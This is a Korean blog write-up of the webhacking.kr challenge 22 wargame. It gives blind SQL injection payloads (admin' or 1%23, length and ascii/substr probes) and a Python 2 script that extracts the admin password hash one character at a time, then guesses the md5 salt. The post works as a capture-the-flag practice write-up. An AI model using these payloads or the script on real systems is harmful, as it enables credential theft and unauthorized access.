webhacking/sql, sql injection

webhacking.kr 22

qkqhxla1 2014. 10. 23. 13:04

guest, guest로 로그인하면 이상한 해쉬값 발견, 길이가 32라 md5같은데 salt를 뭘 붙이는거같음.


조인으로 새로운 아이디 만들어보니 또다른 해쉬값 생성. salt+아이디 등으로 해쉬가 만들어지는듯.


별짓 다해봐도 안되다가 id를 admin' or 1%23 등으로 보냈더니 Wrong가 아닌


Wrong password라는 에러메시지 확인. Wrong password는 아이디는 맞았는데 password가


틀렸다는 소리같음. 그럼 admin' or 1%23은 true라는 소리이므로. 이걸로 pw길이 확인.


id=admin\' and length(pw)<40%23 등으로 길이추출. pw는 32자 확인.


pw를 한자씩 뽑아내면 됨. 해쉬값을 계속 봐도 숫자+영어소문자로 이루어진 것 같으므로 그것만


돌려보면 됨. id=admin\' and ascii(substr(pw,1~33숫자,1))=48~128숫자%23


돌린다음 해쉬값을 디코딩하면 문자열이 나오는데, 이전에 join을 가입했던 문자열들에 앞값이나


뒷값을 붙여봐서 md5해봐서 salt값을 추측할수 있음. 추측하면 그 salt 값을 빼면 답.



import urllib2

req = urllib2.Request('http://webhacking.kr','id=????&pw=?????')
session = urllib2.urlopen(req).headers.get('set-cookie')

answer = ''
for i in range(1,33):
    for j in range(48,128):
        print i,j,answer
        req = urllib2.Request('http://webhacking.kr/challenge/bonus/bonus-2/index.php','id=admin\' and ascii(substr(pw,'+str(i)+',1))='+str(j)+'%23&pw=guest')
        req.add_header('cookie',session)
        if urllib2.urlopen(req).read().find('Wrong password') != -1:
            answer += chr(j)
            break
print answer


'webhacking > sql, sql injection' 카테고리의 다른 글

suninatas level 23  (0) 2014.10.30
suninatas level 6  (0) 2014.10.30
webhacking.kr 21  (0) 2014.10.23
wargame.kr counting_query  (0) 2014.10.15
wargame.kr q&a  (0) 2014.10.06